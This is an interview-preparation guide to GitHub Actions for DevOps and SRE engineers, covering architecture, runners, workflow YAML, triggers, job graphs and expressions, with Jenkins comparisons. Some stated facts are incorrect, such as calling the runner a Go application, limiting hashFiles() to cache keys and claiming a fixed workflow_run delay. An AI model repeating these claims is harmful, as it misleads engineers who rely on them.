GitHub Actions Mastery Guide

Complete Interview Preparation for SRE / Platform / DevOps Engineers

> **Audience:** Engineers with strong Jenkins/CI-CD background preparing for senior/staff-level interviews at product and cloud companies. **Format:** Each topic follows a strict structure — What, Why, How, Key Concepts, Interview Answers, YAML Examples, Gotchas, and Connections.

Table of Contents

1. Category 1: Core Architecture & Fundamentals
    - 1.1 GitHub Actions Architecture
    - 1.2 Runner Model
    - 1.3 Workflow YAML Structure
    - 1.4 Events & Triggers
    - 1.5 Jobs, Steps, and Dependency Graph
    - 1.6 Expressions, Contexts, and Functions
    - 1.7 Runner Internals
2. Category 2: Actions — Building Blocks
    - 2.1 What is an Action?
    - 2.2 Using Marketplace Actions & Pinning
    - 2.3 JavaScript Actions
    - 2.4 Docker-based Actions
    - 2.5 Composite Actions
    - 2.6 Action Inputs, Outputs, Data Passing
    - 2.7 Publishing and Versioning Actions
3. Category 3: Reusability & Modularity
    - 3.1 Reusable Workflows
    - 3.2 Calling Reusable Workflows Cross-Repo
    - 3.3 Composite Actions vs Reusable Workflows
    - 3.4 Workflow Templates
    - 3.5 Org-Scale Pipeline Management
4. Category 4: Secrets, Environments & Security
    - 4.1 Secrets
    - 4.2 GitHub Environments & Protection Rules
    - 4.3 ⚠ OIDC Keyless Authentication
    - 4.4 ⚠ Token Permissions & GITHUB_TOKEN
    - 4.5 ⚠ Security Hardening
    - 4.6 Third-Party Secret Managers

5. Category 5: Advanced Workflow Patterns
    - 5.1 ⚠ Matrix Builds & Dynamic Matrix
    - 5.2 Concurrency Controls
    - 5.3 ⚠ Caching Strategies
    - 5.4 Artifacts
    - 5.5 Conditional Execution
    - 5.6 Manual Approvals & workflow_dispatch
    - 5.7 Dynamic Workflow Generation
6. Category 6: Self-Hosted Runners & Scaling
    - 6.1 Self-Hosted Runner Setup
    - 6.2 ⚠ Actions Runner Controller (ARC) on Kubernetes
    - 6.3 Ephemeral vs Persistent Runners
    - 6.4 Runner Security Isolation
    - 6.5 Cost Optimization
7. Category 7: CI/CD for Real Workloads
    - 7.1 Docker Builds with GitHub Actions
    - 7.2 GitHub Container Registry (GHCR)
    - 7.3 Kubernetes Deployments
    - 7.4 Terraform Workflows
    - 7.5 Cloud Deployments (AWS, GCP, Azure)
    - 7.6 GitOps with ArgoCD
    - 7.7 Blue-Green & Canary Patterns
8. Category 8: Monorepo Patterns
    - 8.1 Path Filters
    - 8.2 ⚠ Affected Service Detection
    - 8.3 Dynamic Matrix from Changed Paths
    - 8.4 Monorepo CI/CD Design Patterns
    - 8.5 Cross-Service Dependencies
9. Category 9: Observability, Debugging & Operations
    - 9.1 Workflow Logs & Structured Logging
    - 9.2 Debugging with tmate & act
    - 9.3 Status Badges
    - 9.4 GitHub Actions API & CLI
    - 9.5 Rate Limits & Usage Limits
    - 9.6 Audit Logs
10. Category 10: Migration & Strategic Decisions
    - 10.1 GitHub Actions vs Jenkins
    - 10.2 Jenkins to GitHub Actions Migration
    - 10.3 GitHub Actions vs GitLab CI, CircleCI, Tekton

- 10.4 Enterprise Governance

Category 1: Core Architecture & Fundamentals

1.1 GitHub Actions Architecture

What It Is

GitHub Actions is GitHub's native CI/CD and automation platform, tightly integrated into the GitHub repository ecosystem. Unlike Jenkins — which is a standalone automation server you install and manage — GitHub Actions is a **serverless, event-driven automation system** embedded directly into GitHub.

Jenkins equivalent: The entire Jenkins master + agent topology. Except in GitHub Actions, GitHub manages the orchestration layer (the "master") for you, and you just configure "agents" (called runners).

Why It Exists

Jenkins was built for a world of centrally managed, long-running CI servers. GitHub Actions was built for a world where:

- Code lives in GitHub
- Teams want zero infrastructure overhead to get CI working
- Automation should be triggered by any GitHub event (not just code pushes)
- Configuration should be code-reviewed alongside the code it tests

Where Jenkins falls short:

- Requires dedicated infrastructure to install and manage
- Plugin ecosystem is fragmented and version-conflict-prone
- No native integration with GitHub events (PRs, issues, releases, etc.)
- Scaling requires manual setup of agents

How It Works Internally

```
┌──────────────────────────────────────────────────────────┐
│                        GitHub.com                        │
│                                                          │
│   ┌──────────────┐    ┌──────────────┐    ┌──────────────┐  │
│   │  GitHub      │ ──▶ │  Actions     │ ──▶ │  Runner      │  │
│   │  Events      │    │  Orchestrator│    │  Queues      │  │
│   │  (webhook)   │    │  (scheduler) │    │              │  │
│   └──────────────┘    └──────────────┘    └──────────────┘  │
│                                                    │       │
└────────────────────────────────────────────────────┼───────┘
                                                     │
```

```
                    ┌──────────────────────────────▼──────────────┐
                    │          Runners (Compute Layer)            │
                    │                                             │
                    │   ┌─────────────────┐   ┌─────────────────┐  │
                    │   │ GitHub-Hosted│   │ Self-Hosted   │  │
                    │   │ (ubuntu-latest│   │ (your infra)  │  │
                    │   │  windows, mac)│   │               │  │
                    │   └─────────────────┘   └─────────────────┘  │
                    └─────────────────────────────────────────────┘
```

Execution Flow:

1. A GitHub event fires (push, PR open, schedule tick, etc.)
2. GitHub's Actions orchestrator evaluates all `.github/workflows/*.yml` files in the repo
3. Matching workflows are queued as workflow runs
4. Each job in the workflow is dispatched to an available runner
5. The runner executes steps sequentially within a job
6. Results (logs, artifacts, status) are reported back to GitHub
7. GitHub updates commit status, PR checks, and the Actions UI

Key Components

Component	Description	Jenkins Equivalent
Workflow	A YAML file defining automation	Jenkinsfile
Event	The trigger (push, PR, schedule)	Jenkins trigger (SCM polling, webhook)
Job	A group of steps running on one runner	A Jenkins stage or node block
Step	A single task within a job	A Jenkins step
Action	A reusable unit packaged as JS/Docker/Composite	Jenkins plugin or Shared Library function
Runner	The compute executing jobs	Jenkins agent/node
Artifact	Files persisted from a run	Jenkins `archiveArtifacts`

Interview Answer (30–45 seconds)

> "GitHub Actions is GitHub's native, event-driven CI/CD platform. When an event happens in a GitHub repository — a push, a PR, a release, a scheduled cron — the Actions orchestrator picks up any workflow YAML files that match that trigger and dispatches the jobs to runners. Runners can be GitHub-managed virtual machines or self-hosted machines you control. Each job runs on a fresh runner, and steps within a job run sequentially on that same runner. The key difference from Jenkins is that GitHub manages the control plane entirely — you don't run a Jenkins master; GitHub is your master. You just configure the work."

Deep Dive

Workflow file location: `.github/workflows/*.yml` — every `.yml` in this directory is an independent workflow. There is no single "pipeline" file like a Jenkinsfile.

Multiple workflows per repo: You can have dozens of workflow files. They are independent but can trigger each other via `workflow_run` or `repository_dispatch`.

GitHub Actions is also an automation platform, not just CI/CD. You can use it to:

- Auto-label issues
- Auto-respond to PR comments
- Rotate secrets on a schedule
- Generate and commit documentation
- Sync data across repos

Common Interview Questions

Q: How does GitHub Actions differ architecturally from Jenkins?

> "Jenkins is a pull-based system where agents poll the master for jobs. GitHub Actions is an event-driven push model — GitHub's orchestrator dispatches jobs to runners when events fire. Jenkins requires you to manage the master, plugins, and agent connectivity. GitHub manages all orchestration; you only manage runners if you need self-hosted. Additionally, GitHub Actions has no plugin ecosystem fragmentation because actions are versioned Git repositories, not a central plugin registry."

Q: Can a workflow trigger another workflow?

> "Yes, in multiple ways. `workflow_run` triggers a workflow when another named workflow completes. `workflow_dispatch` lets you trigger a workflow via API or the UI. `repository_dispatch` lets external systems POST to GitHub's API to fire a custom event that a workflow listens on. For chaining jobs *within* a run, you use `needs` to create a dependency graph — that's not a new workflow, it's the same run with sequential jobs."

Gotchas ⚠

- **Workflows are per-repo by default.** There's no global "pipeline library" like Jenkins — you use reusable workflows or composite actions stored in separate repos.
- **A workflow file being present does NOT mean it runs on every push.** It only runs when its `on:` trigger matches.
- **GitHub Actions has a 6-hour job limit.** Long-running Jenkins jobs don't have this constraint.
- **Deleting a workflow file removes all its history from the UI** (but the run records persist in the API).

Connections to Other Topics

- Runner model (1.2) — the compute layer
- Events (1.4) — what fires the orchestrator

- Reusable workflows (3.1) — the org-scale modularity answer
- Self-hosted runners (6.x) — when you need your own compute

1.2 Runner Model

What It Is

Runners are the **compute instances** where GitHub Actions jobs execute. Every job in a workflow must declare what runner it needs via `runs-on:`.

Jenkins equivalent: Jenkins agents/nodes. The `runs-on` label is equivalent to Jenkins' `agent { label 'my-agent' }`.

Two Types of Runners

GitHub-Hosted Runners

Fully managed VMs provisioned by GitHub for each job, torn down after the job completes.

Label	OS	CPU	RAM	Storage
`ubuntu-latest`	Ubuntu 22.04	2 vCPU	7 GB	14 GB SSD
`ubuntu-22.04`	Ubuntu 22.04	2 vCPU	7 GB	14 GB SSD
`windows-latest`	Windows Server 2022	2 vCPU	7 GB	14 GB SSD
`macos-latest`	macOS 14 (Sonoma)	3 vCPU (M1)	7 GB	14 GB SSD
`ubuntu-latest-4-cores`	Ubuntu 22.04	4 vCPU	16 GB	150 GB SSD
`ubuntu-latest-8-cores`	Ubuntu 22.04	8 vCPU	32 GB	300 GB SSD

Key characteristics:

- Every job gets a **fresh, clean VM** — no state bleeds between jobs
- GitHub pre-installs hundreds of tools (Docker, kubectl, Terraform, node, python, etc.)
- Billed per minute (free tier for public repos, limits for private)

Self-Hosted Runners

Your own machines (VMs, bare metal, containers, pods) that register with GitHub and receive job dispatches.

```
# Using a GitHub-hosted runner
jobs:
  build:
    runs-on: ubuntu-latest

# Using a self-hosted runner with labels
```

```yaml
jobs:
  deploy:
    runs-on: [self-hosted, linux, gpu, production]
```

How Runner Lifecycle Works Internally

```
GitHub Orchestrator                    Runner Machine
        |                                     |
        |  1. Job queued                      |
        |  2. Runner polls (long-poll HTTP)   |
        |<------------------------------------|
        |  3. Dispatch job                    |
        |------------------------------------>|
        |                                     | 4. Download actions
        |                                     | 5. Execute steps
        |                                     | 6. Stream logs
        |<------------------------------------|
        |  7. Report status                   |
        |<------------------------------------|
```

The runner uses a long-polling HTTP connection to GitHub's Actions service — it is NOT a persistent WebSocket or SSH tunnel. The runner agent binary (`actions/runner`) runs on the machine, polls for jobs, executes them, and streams logs back.

Key Concepts

Runner Groups: Organize self-hosted runners into groups with access policies. Only certain repos or orgs can use certain runner groups.

Runner Labels: Tags applied to runners so jobs can target them. A job dispatches to any available runner matching ALL its labels.

Ephemeral Runners: Runners configured to process exactly one job then deregister. Critical for security (covered in 6.3).

Just-in-Time (JIT) Runners: Runners registered with a single-use token, designed for ephemeral scale-out (used by ARC).

Real-World YAML Examples

```yaml
# Simple GitHub-hosted
name: CI
on: push
jobs:
  test:
```

```yaml
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

# Production: self-hosted with multiple labels for targeting
jobs:
  deploy-prod:
    runs-on: [self-hosted, linux, x64, prod-eks]
    environment: production
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh

# Matrix across multiple OS runners
jobs:
  test-matrix:
    strategy:
      matrix:
        os: [ubuntu-latest, windows-latest, macos-latest]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@v4
      - run: npm test
```

Interview Answer (30–45 seconds)

> "GitHub Actions has two runner types. GitHub-hosted runners are ephemeral VMs that GitHub provisions for each job and tears down after — you get a clean environment every time and pay per minute. Self-hosted runners are machines you register with GitHub, which then dispatch jobs to them via long-polling HTTP. You target runners using the `runs-on` key with labels. Self-hosted gives you control over the hardware, network access to internal systems, and cost predictability, but you own the maintenance. For scale, you'd use Actions Runner Controller on Kubernetes to dynamically provision ephemeral runner pods."

Gotchas ⚠

- **`ubuntu-latest` is NOT pinned.** GitHub periodically bumps it (e.g., 20.04 → 22.04). This can silently break builds. For stability, pin to `ubuntu-22.04`.
- **Self-hosted runners on public repos are a security risk.** A malicious PR can run code on your runner. Always restrict self-hosted runners to private repos or use ephemeral runners.
- **Runner groups are enterprise/org-level.** If you're on GitHub Free, all self-hosted runners are available to all repos in the account.
- **GitHub-hosted runners don't have network access to your internal systems.** For deploying to an internal Kubernetes cluster, you need self-hosted runners or a network tunnel.
- **macOS runners are 10x more expensive** than Linux runners in billing.

1.3 Workflow YAML Structure

What It Is

A workflow is a YAML file stored in `.github/workflows/` that defines when automation runs, what jobs to run, and how. Every workflow is an independent unit.

Jenkins equivalent: A `Jenkinsfile`. But unlike a Jenkinsfile (which is one file per repo), a repo can have many workflow files — each is its own independent pipeline.

Complete Annotated Workflow Anatomy

```yaml
# ─────────────────────────────────────────────
# WORKFLOW METADATA
# ─────────────────────────────────────────────
name: Production Deploy Pipeline      # Displayed in Actions UI
run-name: Deploy ${{ github.ref_name }} by @${{ github.actor }}  # Custom
run title

# ─────────────────────────────────────────────
# TRIGGERS — when this workflow fires
# ─────────────────────────────────────────────
on:
  push:
    branches: [main]
    paths-ignore: ['**.md', 'docs/**']
  pull_request:
    branches: [main]
    types: [opened, synchronize, reopened]
  schedule:
    - cron: '0 2 * * 1'   # Every Monday at 2 AM UTC
  workflow_dispatch:        # Manual trigger from UI or API
    inputs:
      environment:
        description: 'Target environment'
        required: true
        default: 'staging'
        type: choice
        options: [staging, production]

# ─────────────────────────────────────────────
# GLOBAL SETTINGS
# ─────────────────────────────────────────────
env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

permissions:               # Least-privilege token scopes
  contents: read
  packages: write
  id-token: write          # Required for OIDC
```

```yaml
concurrency:                # Prevent duplicate runs
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

defaults:
  run:
    shell: bash
    working-directory: ./app

# ──────────────────────────────────────────────
# JOBS — the units of work
# ──────────────────────────────────────────────
jobs:

  # ── JOB 1 ──────────────────────────────
  lint-and-test:
    name: Lint & Test
    runs-on: ubuntu-latest
    timeout-minutes: 15       # Job-level timeout

    # Conditional: only run on PRs
    if: github.event_name == 'pull_request'

    # Services: spin up sidecar containers
    services:
      postgres:
        image: postgres:15
        env:
          POSTGRES_PASSWORD: test
        ports:
          - 5432:5432
        options: >-
          --health-cmd pg_isready
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5

    outputs:                  # Pass data to downstream jobs
      test-result: ${{ steps.test.outputs.result }}

    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Setup Node
        uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'npm'

      - name: Install dependencies
        run: npm ci
```

```yaml
      - name: Run linter
        run: npm run lint

      - name: Run tests
        id: test             # Give step an ID to reference its outputs
        run: |
          npm test
          echo "result=passed" >> $GITHUB_OUTPUT

  # ── JOB 2 ──────────────────────────────
  build-image:
    name: Build Docker Image
    runs-on: ubuntu-latest
    needs: lint-and-test      # Depends on job 1 passing

    # Only run on push to main (not on PR)
    if: github.event_name == 'push' && github.ref == 'refs/heads/main'

    steps:
      - uses: actions/checkout@v4
      - uses: docker/build-push-action@v5
        with:
          push: true
          tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha
}}

  # ── JOB 3 ──────────────────────────────
  deploy:
    name: Deploy to Production
    runs-on: ubuntu-latest
    needs: build-image
    environment: production    # Requires reviewer approval

    steps:
      - name: Deploy
        run: |
          echo "Deploying ${{ github.sha }} to production"
          ./deploy.sh ${{ github.sha }}
```

Key Structural Elements

Element	Purpose	Scope
`name`	Workflow name shown in UI	Workflow
`on`	Event triggers	Workflow
`env`	Environment variables	Workflow/Job/Step
`permissions`	GITHUB_TOKEN scopes	Workflow/Job
`concurrency`	Run deduplication	Workflow/Job

Element	Purpose	Scope
`defaults`	Default shell/working dir	Workflow/Job
`jobs.<id>`	Job definition	Job
`runs-on`	Runner selection	Job
`needs`	Job dependency	Job
`if`	Conditional execution	Job/Step
`services`	Sidecar containers	Job
`outputs`	Data passing between jobs	Job
`steps`	Ordered tasks	Job
`uses`	Reference an action	Step
`run`	Shell command	Step
`with`	Action inputs	Step
`env`	Step-level env vars	Step

Interview Answer (30–45 seconds)

> "A GitHub Actions workflow is a YAML file in `.github/workflows/`. It has three main layers: the `on` block defining what events trigger it, the `env` and `permissions` block for global settings, and the `jobs` block. Each job specifies a runner via `runs-on`, optionally declares dependencies on other jobs via `needs`, and contains a list of sequential `steps`. Steps either use a pre-built action with `uses` or run shell commands with `run`. Unlike a Jenkinsfile, a repo can have many workflow files — each is a standalone pipeline."

Gotchas ⚠

- **YAML indentation is critical.** Two-space indentation. A misaligned key silently changes the structure.
- **`env` at workflow level is visible to all jobs and steps** — don't put secrets here (use `secrets` context).
- **`run-name` supports expressions** — great for making run history readable with branch names and actors.
- **`defaults.run.working-directory` applies to `run` steps only**, not `uses` steps.
- **Job-level `env` DOES override workflow-level `env`** for that job's scope.

1.4 Events & Triggers

What It Is

The `on:` key defines what GitHub events cause the workflow to run. GitHub Actions supports 35+ event types, far beyond just code pushes.

Jenkins equivalent: Jenkins triggers — SCM polling (`pollSCM`), generic webhooks (`GenericTrigger`), cron (`cron`), or upstream job triggers (`upstream`). GitHub Actions has all of these natively, plus triggers for GitHub-specific events like PR reviews, issue comments, releases, and deployment status changes.

Common Event Types

Code Events

```yaml
on:
  push:
    branches:
      - main
      - 'release/**'        # Glob patterns supported
      - '!release/old-*'    # Negation with !
    branches-ignore:
      - 'dependabot/**'
    tags:
      - 'v*.*.*'
    paths:
      - 'src/**'
      - '*.go'
    paths-ignore:
      - '**.md'

  pull_request:
    branches: [main]
    types:
      - opened
      - synchronize         # New commit pushed to PR
      - reopened
      - ready_for_review
      - labeled

  pull_request_target:      # ⚠ DANGEROUS — see gotchas
    types: [opened]
```

Schedule & Manual

```yaml
on:
  schedule:
    - cron: '30 5 * * 1,3'  # Mon & Wed at 05:30 UTC
    # Multiple schedules supported:
    - cron: '0 0 * * *'     # Daily midnight

  workflow_dispatch:
```

```
    inputs:
      environment:
        description: 'Deploy target'
        required: true
        type: choice
        options: [dev, staging, prod]
      dry_run:
        description: 'Dry run only?'
        type: boolean
        default: false
      version:
        description: 'Version tag'
        type: string
```

Repository & External Events

```
on:
  repository_dispatch:      # Triggered via GitHub API POST
    types: [deploy-staging, run-integration-tests]

  workflow_run:             # Trigger after another workflow completes
    workflows: ["CI Pipeline"]
    types: [completed]
    branches: [main]

  workflow_call:            # Makes this workflow reusable (called by
other workflows)
    inputs:
      environment:
        required: true
        type: string
    secrets:
      deploy-key:
        required: true
```

GitHub Object Events

```
on:
  release:
    types: [published, created, prereleased]

  issues:
    types: [opened, labeled]

  issue_comment:
    types: [created]

  pull_request_review:
```

```
    types: [submitted]

  deployment_status:
    # Fires when an external deployment system reports status

  registry_package:
    types: [published]

  create:                   # Branch or tag created
  delete:                   # Branch or tag deleted
```

Triggering Workflows via API (GitHub CLI)

```
# Trigger workflow_dispatch
gh workflow run deploy.yml \
  --ref main \
  --field environment=production \
  --field dry_run=false

# Trigger repository_dispatch
curl -X POST \
  -H "Authorization: token $GH_TOKEN" \
  -H "Accept: application/vnd.github.v3+json" \
  https://api.github.com/repos/ORG/REPO/dispatches \
  -d '{"event_type":"deploy-staging","client_payload":
{"version":"1.2.3"}}'

# Access client_payload in workflow:
# ${{ github.event.client_payload.version }}
```

Real-World Production Example: Multi-Trigger CI/CD

```
name: Application Pipeline
on:
  push:
    branches: [main]
    paths: ['app/**', 'Dockerfile', 'helm/**']
  pull_request:
    branches: [main]
    types: [opened, synchronize]
  release:
    types: [published]
  workflow_dispatch:
    inputs:
      force_deploy:
        type: boolean
        default: false
```

```yaml
jobs:
  test:
    runs-on: ubuntu-latest
    if: |
      github.event_name == 'pull_request' ||
      github.event_name == 'push'
    steps:
      - uses: actions/checkout@v4
      - run: make test

  deploy-staging:
    runs-on: ubuntu-latest
    needs: test
    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
    environment: staging
    steps:
      - run: make deploy ENV=staging

  deploy-prod:
    runs-on: ubuntu-latest
    if: github.event_name == 'release' || inputs.force_deploy == true
    environment: production
    steps:
      - run: make deploy ENV=production
```

Interview Answer (30–45 seconds)

> "GitHub Actions workflows are triggered by the `on:` key which supports over 35 event types. The most common are `push` and `pull_request` for code changes, `schedule` for cron jobs, `workflow_dispatch` for manual runs with typed inputs, and `repository_dispatch` for external systems to trigger workflows via API. You can filter events further by branch, tag, or path. Within a job, you use the `github.event_name` context to branch logic. This is much richer than Jenkins' trigger system, which relies heavily on plugins for anything beyond SCM polling and cron."

Gotchas ⚠

- **`pull_request_target` runs in the context of the BASE branch, not the PR branch.** This means it has access to secrets. A malicious PR author can craft a PR that runs code from the PR branch but with base-branch secrets. This is a major security vulnerability — use it only with extreme care.
- **`push` and `pull_request` can both fire for the same commit.** When you push to a branch that has an open PR, both trigger independently. Use conditions to avoid double runs.
- **Scheduled workflows only run on the default branch.** You cannot schedule a workflow on a non-default branch using `schedule`.
- **`workflow_run` has a 5-minute delay.** It fires after the triggering workflow completes, not in real time.
- **`paths` and `branches` filters use AND logic** — all conditions must match. `paths-ignore` and `branches-ignore` are exclusions.

- **A `workflow_dispatch` with no inputs still requires the `workflow_dispatch:` key to appear.** Just `workflow_dispatch:` with no sub-keys enables it.

1.5 Jobs, Steps, and the Dependency Graph

What It Is

Jobs are the primary unit of parallelism in GitHub Actions. Jobs within a workflow run in parallel by default, each on their own runner. Steps within a job run sequentially on the same runner.

Jenkins equivalent: Jobs ~ Jenkins stages (but stages share a single agent unless you use `parallel` blocks or `agent` per stage). In GitHub Actions, parallelism is the default, not an opt-in.

Jobs and the `needs` Dependency Graph

```yaml
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Linting"

  test:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Testing"

  build:
    needs: [lint, test]      # Runs after BOTH lint AND test succeed
    runs-on: ubuntu-latest
    steps:
      - run: echo "Building"

  deploy-staging:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - run: echo "Staging"

  deploy-prod:
    needs: deploy-staging
    runs-on: ubuntu-latest
    steps:
      - run: echo "Production"
```

Resulting DAG:

```
lint ──┐
       ├──► build ──► deploy-staging ──► deploy-prod
```

```
test ──┘
```

Steps

Steps are sequential tasks within a job. They share the same filesystem and environment variables.

```yaml
steps:
  # Step using a pre-built action
  - name: Checkout code
    id: checkout
    uses: actions/checkout@v4
    with:
      fetch-depth: 0         # Full history (default is shallow clone)
      token: ${{ secrets.GITHUB_TOKEN }}

  # Step running shell commands
  - name: Build
    id: build
    run: |
      echo "Building version $VERSION"
      make build
      echo "build_id=$(date +%s)" >> $GITHUB_OUTPUT
    env:
      VERSION: ${{ github.sha }}
    working-directory: ./src

  # Step using outputs from a previous step
  - name: Report
    run: echo "Build ID is ${{ steps.build.outputs.build_id }}"

  # Step that always runs (e.g., cleanup)
  - name: Cleanup
    if: always()
    run: rm -rf ./tmp
```

Passing Data Between Jobs

Jobs run on separate runners, so you cannot share files directly. Use **outputs** for small data and **artifacts** for files.

```yaml
jobs:
  job1:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.get-version.outputs.version }}
    steps:
      - id: get-version
```

```
        run: echo "version=$(cat VERSION)" >> $GITHUB_OUTPUT

  job2:
    needs: job1
    runs-on: ubuntu-latest
    steps:
      - run: echo "Version is ${{ needs.job1.outputs.version }}"
```

Services (Sidecar Containers)

Spin up containerized services (DB, Redis, etc.) alongside a job:

```
jobs:
  integration-test:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:15-alpine
        env:
          POSTGRES_DB: testdb
          POSTGRES_USER: runner
          POSTGRES_PASSWORD: runner
        ports:
          - 5432:5432
        options: >-
          --health-cmd pg_isready
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5
      redis:
        image: redis:7-alpine
        ports:
          - 6379:6379

    steps:
      - uses: actions/checkout@v4
      - run: |
          export
DATABASE_URL=postgres://runner:runner@localhost:5432/testdb
          export REDIS_URL=redis://localhost:6379
          npm run test:integration
```

Interview Answer (30–45 seconds)

> "In GitHub Actions, jobs are the unit of parallelism — by default they all run concurrently on separate runners. You establish dependencies with `needs`, which creates a directed acyclic graph. Jobs downstream in the graph wait for their dependencies to complete. Steps within a job are sequential and share the runner's filesystem. Data passes between jobs via the `outputs` mechanism — a step

> writes to `$GITHUB_OUTPUT`, the job declares that output, and downstream jobs reference it via `needs.<job>.outputs.<key>`. For files, you use upload/download artifact actions."

Gotchas ⚠

- **`needs` blocks on SUCCESS by default.** If a dependency job fails, the downstream job is skipped, not failed. Use `if: always()` or `if: needs.job1.result == 'failure'` to handle failures explicitly.
- **Outputs are strings only.** You cannot pass objects or arrays via job outputs. Serialize to JSON if needed: `echo "data=$(jq -c . file.json)" >> $GITHUB_OUTPUT`.
- **`$GITHUB_OUTPUT` replaces the old `set-output` command.** The old `::set-output::` syntax is deprecated and will be removed. Always use `>> $GITHUB_OUTPUT`.
- **Services only work with Linux runners.** macOS and Windows runners don't support service containers.
- **Steps share env vars only within the same job.** Variables set in one job do not appear in another job's steps.

1.6 Expressions, Contexts, and Functions

What It Is

Expressions are the dynamic templating language of GitHub Actions workflows. They use `${{ }}` syntax to access runtime data, evaluate conditions, and transform values.

Jenkins equivalent: Groovy expressions in Jenkinsfile. GitHub Actions expressions are more restricted (no arbitrary code execution) but also more consistent and less error-prone than Groovy.

Contexts Available

Context	Contents	Example
`github`	Event data, repo info, actor	`${{ github.sha }}`, `${{ github.actor }}`
`env`	Environment variables	`${{ env.MY_VAR }}`
`vars`	Repository/org configuration variables	`${{ vars.APP_VERSION }}`
`secrets`	Secrets (never logged)	`${{ secrets.API_KEY }}`
`inputs`	workflow_dispatch/workflow_call inputs	`${{ inputs.environment }}`
`steps`	Outputs/results of previous steps	`${{ steps.build.outputs.version }}`
`needs`	Results/outputs of dependency jobs	`${{ needs.test.result }}`
`jobs`	Job results (in reusable workflow outputs)	`${{ jobs.build.result }}`
`runner`	Runner info	`${{ runner.os }}`, `${{ runner.arch }}`

Context	Contents	Example
`matrix`	Current matrix values	`${{ matrix.node-version }}`
`strategy`	Strategy info	`${{ strategy.fail-fast }}`

Key Expression Functions

```
steps:
  - name: Expression examples
    run: |
      echo "Actor: ${{ github.actor }}"
      echo "Is main: ${{ github.ref == 'refs/heads/main' }}"
      echo "SHA short: ${{ github.sha }}"

  # contains() — check if string or array contains value
  - if: contains(github.event.pull_request.labels.*.name, 'deploy')
    run: echo "PR has deploy label"

  # startsWith() / endsWith()
  - if: startsWith(github.ref, 'refs/tags/v')
    run: echo "This is a version tag"

  # toJSON() — serialize context to JSON string
  - run: echo '${{ toJSON(github.event) }}'

  # fromJSON() — parse JSON string
  - run: |
      VERSION=${{ fromJSON(steps.meta.outputs.json).version }}

  # format() — string interpolation
  - run: echo "${{ format('Hello {0}, you pushed to {1}', github.actor,
github.ref) }}"

  # join() — join array with delimiter
  - run: echo "${{ join(matrix.os, ', ') }}"

  # hashFiles() — generate cache key from file hash
  - uses: actions/cache@v4
    with:
      key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}

  # Ternary-style with || and &&
  - run: echo "${{ github.event.inputs.environment || 'staging' }}"
```

Condition Patterns

```yaml
# Job-level conditions
jobs:
  deploy:
    # Only on push to main
    if: github.event_name == 'push' && github.ref == 'refs/heads/main'

  notify-failure:
    needs: deploy
    # Only if deploy job failed
    if: needs.deploy.result == 'failure'

  always-run:
    needs: [test, build]
    # Run regardless of upstream results
    if: always()

# Step-level conditions
steps:
  - name: Only on Linux
    if: runner.os == 'Linux'
    run: apt-get install -y ...

  - name: Only if previous step failed
    if: failure()
    run: ./send-alert.sh

  - name: Conditional with expression
    if: |
      github.event_name == 'push' &&
      startsWith(github.ref, 'refs/heads/release/')
    run: ./release.sh
```

Interview Answer (30–45 seconds)

> "GitHub Actions expressions use `${{ }}` syntax and give you access to several contexts: `github` for event metadata, `secrets` for sensitive values, `env` for environment variables, `steps` for step outputs and results, and `needs` for job outputs from upstream jobs. You can use built-in functions like `contains()`, `startsWith()`, `hashFiles()`, `toJSON()`, and `fromJSON()`. Conditions on jobs and steps use the `if:` key which implicitly wraps the value in an expression. The main difference from Jenkins Groovy is you can't execute arbitrary code — it's a constrained expression language, which makes workflows more predictable and auditable."

Gotchas ⚠

- **`if:` does not need `${{ }}` — it's implicitly an expression.** Writing `if: ${{ condition }}` works but is redundant.
- **Secrets cannot be used in `if:` conditions.** GitHub masks secrets and will not evaluate them in conditions. This is intentional to prevent exfiltration.

- `needs.job.result` **can be** `'success'`, `'failure'`, `'cancelled'`, **or** `'skipped'`. Not `true`/`false`.
- `vars` **context vs** `env` **context:** `vars` is for configuration variables set in GitHub settings (non-sensitive). `env` is for variables set in the workflow YAML. Don't confuse them.
- `hashFiles()` **only works in** `key:` **fields of cache actions**, not in arbitrary `run:` expressions.

1.7 Runner Internals

How Runners Work Internally

The GitHub Actions runner is an open-source Go application (`actions/runner`) that:

1. **Registers** with GitHub using a registration token
2. **Long-polls** GitHub's Actions service for job assignments
3. **Downloads** the job definition and any referenced actions
4. **Sets up** the environment (environment variables, PATH, GITHUB_* variables)
5. **Executes** each step in sequence
6. **Streams** logs to GitHub's log storage service in real time
7. **Reports** step/job completion status
8. **Cleans up** (for ephemeral runners, deregisters itself)

Environment Variables Injected by GitHub

```
GITHUB_WORKSPACE       # /home/runner/work/repo/repo — checked-out code
GITHUB_ENV             # Path to file for setting env vars (append to
this)
GITHUB_OUTPUT          # Path to file for setting step outputs
GITHUB_PATH            # Path to file for modifying PATH
GITHUB_STEP_SUMMARY    # Path to file for writing step summary (Markdown)
GITHUB_TOKEN           # Short-lived token for this workflow run
GITHUB_SHA             # Commit SHA that triggered the workflow
GITHUB_REF             # Full ref (refs/heads/main)
GITHUB_REF_NAME        # Short ref name (main)
GITHUB_ACTOR           # Username of the person who triggered the run
GITHUB_REPOSITORY      # owner/repo
GITHUB_RUN_ID          # Unique ID for this workflow run
GITHUB_RUN_NUMBER      # Sequential run number for this workflow
RUNNER_OS              # Linux, Windows, macOS
RUNNER_ARCH            # X64, ARM64
```

Writing Step Outputs and Env Vars

```bash
# Set an output (readable by subsequent steps and jobs)
echo "version=1.2.3" >> $GITHUB_OUTPUT

# Set an environment variable (available to subsequent steps in same job)
echo "MY_VAR=hello" >> $GITHUB_ENV
```

```
